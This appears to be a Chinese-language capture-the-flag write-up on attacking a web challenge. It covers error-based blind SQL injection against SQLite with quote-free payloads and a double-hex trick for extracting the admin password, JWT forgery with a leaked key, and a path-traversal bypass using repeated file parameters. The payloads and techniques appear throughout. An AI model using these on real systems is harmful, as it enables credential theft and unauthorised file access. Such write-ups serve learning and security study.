POST /feedback有 SQL 注入- insert 注入,只能写 messages 表而且读不出来,但有报错回显
- 可以基于报错的盲注
- 引号有转义,还有一堆子串过滤
- 想办法读出来
admin的密码
GET /viewlog能看system.log,不知道里面有什么- 需要用户名是
admin - 猜测从
system.log里能拿到privatekey.pem
- 需要用户名是
GET /checkfile能读文件- 需要用户名是
admin,并且权限是File-Priviledged-User(在 JWT 里) - 读文件有过滤,想办法绕过
- 需要用户名是
- SQLite 不存在报错注入(通过报错直接回显的那种)
- SQLite 没有
sleep,时间盲注仅有基于randomblob函数的方法,但blob被过滤了 - 可以做 基于报错的盲注
其实不需要额外做什么就能逃逸出字符串,因为 SQLite 根本不吃反斜杠转义。
假设它吃的话,可以构造:\' || {} )--,转义后会变成 \\' || {} )--,拼接进去变成 ...VALUES('\\' || {} )--'。{} 是注入点。
SQLite3 中也可以用
RETURNING,比如:\') RETURNING (SELECT * FROM flag)。不过我们当然拿不到返回值。
但是,引号转义导致我们后面构造 payload 的时候不能使用引号。
能产生报错的合法表达式:
abs(-9223372036854775808) 或 abs(0x8000000000000000)
load_extension(0)
json('')
把它们构造进条件语句中,检查是否报错来实现盲注,例:
AND CASE WHEN 1=2 THEN 1 ELSE json('') END替换 1=2 为盲注子句即可……吗?
有问题!由于不能使用引号,unicode、char 等函数也被过滤了,我们不太好构造字符串
其实,既然 messages 表可以自由插入,那我们理论上能通过一些体操构造出来任意字符,但这个方案有点灵车
这时候我刚好搜到了一篇 5 年前的博客,发现一道很像的题:CTF中的SQLite总结Cheat Sheet #SQLite Voting
其中提到了一个双重 hex 的 trick。例如:
SELECT hex('flag');
/* 666C6167 */
SELECT hex(hex('flag'));
/* 3636364336313637 */这样我们可以把任何返回值为字符串的表达式转为纯数字字符串。
不过,'1234' = 1234 这样的表达式在 SQLite 里是假值,因为它不会自动做类型转换。 对于较短的整型,可以用 trim 函数帮助转换:
SELECT '1234' = trim(1234);
/* 1 */
trim(0,0)还能返回一个空串。
这样我们就可以做常规盲注了:
' || CASE WHEN hex(hex(substr((SELECT group_concat(password) FROM users), 1, 1))) = trim(3338) THEN 1 ELSE json(trim(0,0)) END )--五年前那道题还额外过滤了 [in|sub]str,所以他用了另一种方法:通过遍历,找到双重 hex 之后那个纯数字字符串的具体值,然后解双重 hex 得到原始结果。
当然为了实现这个效果还要做一堆体操:
abs(
ifnull(
nullif(
max(
hex(hex((/* 注入表达式 */))),
/* NUMBER */
),
/* NUMBER */
),
0x8000000000000000
)
)NUMBER 过长时,隐式转换会将其转为科学计数法的字符串,然后按字典序比较。解决方案是:用 || 逐位拼接出超长的 NUMBER 字符串,强制按字典序比较。当然要保证长度一致。
通过 SQL 注入拿到 admin 密码后就可以通过 /viewlog 看 system.log 了。当时赛场上没做到这一步,所以 system.log 里到底有啥我也不知道,根据上下文,我只能猜里面通过某种方式泄露出了 privatekey.pem。
拿到私钥之后,自然可以随便篡改 JWT,重新签一个 File-Priviledged-User 权限的即可调 /checkfile
很典型的动态类型语言大粪,给 file 传一个数组即可绕过:
?file=&file=&file=&file=&file=&file=&file=&file=&file=&file=../../../../flag&file=.&file=log